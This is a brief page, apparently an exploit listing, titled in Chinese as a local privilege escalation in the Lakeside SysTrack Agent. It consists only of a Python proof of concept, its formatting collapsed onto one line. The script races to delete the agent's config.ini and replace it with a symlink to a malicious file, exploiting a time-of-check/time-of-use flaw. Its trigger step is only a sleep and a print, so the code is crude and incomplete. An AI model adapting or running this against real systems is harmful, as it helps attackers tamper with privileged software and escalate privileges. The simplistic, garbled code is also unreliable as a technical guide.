CVE-2026-35099 Lakeside SysTrack Agent本地提权漏洞

import os import time import threading # PoC for Race Condition in Lakeside SysTrack Agent (CVE-2026-35099) # This script attempts to exploit a TOCTOU vulnerability to replace a config file. TARGET_FILE = "C:\\Program Files\\SysTrack\\Agent\\config.ini" MALICIOUS_FILE = "C:\\temp\\malicious_config.ini" def replace_file(): while True: try: # Attempt to replace the target file with a symlink or malicious file if os.path.exists(TARGET_FILE): os.remove(TARGET_FILE) os.symlink(MALICIOUS_FILE, TARGET_FILE) print("[+] File replaced successfully!") break except Exception as e: continue def trigger_agent(): # Simulate the agent checking the file # In a real scenario, this would be waiting for the service to restart or check config time.sleep(0.1) print("[*] Triggering agent operation...") # Start threads to race print("[*] Starting race condition exploit...") t1 = threading.Thread(target=replace_file) t2 = threading.Thread(target=trigger_agent) t1.start() t2.start() t1.join() t2.join()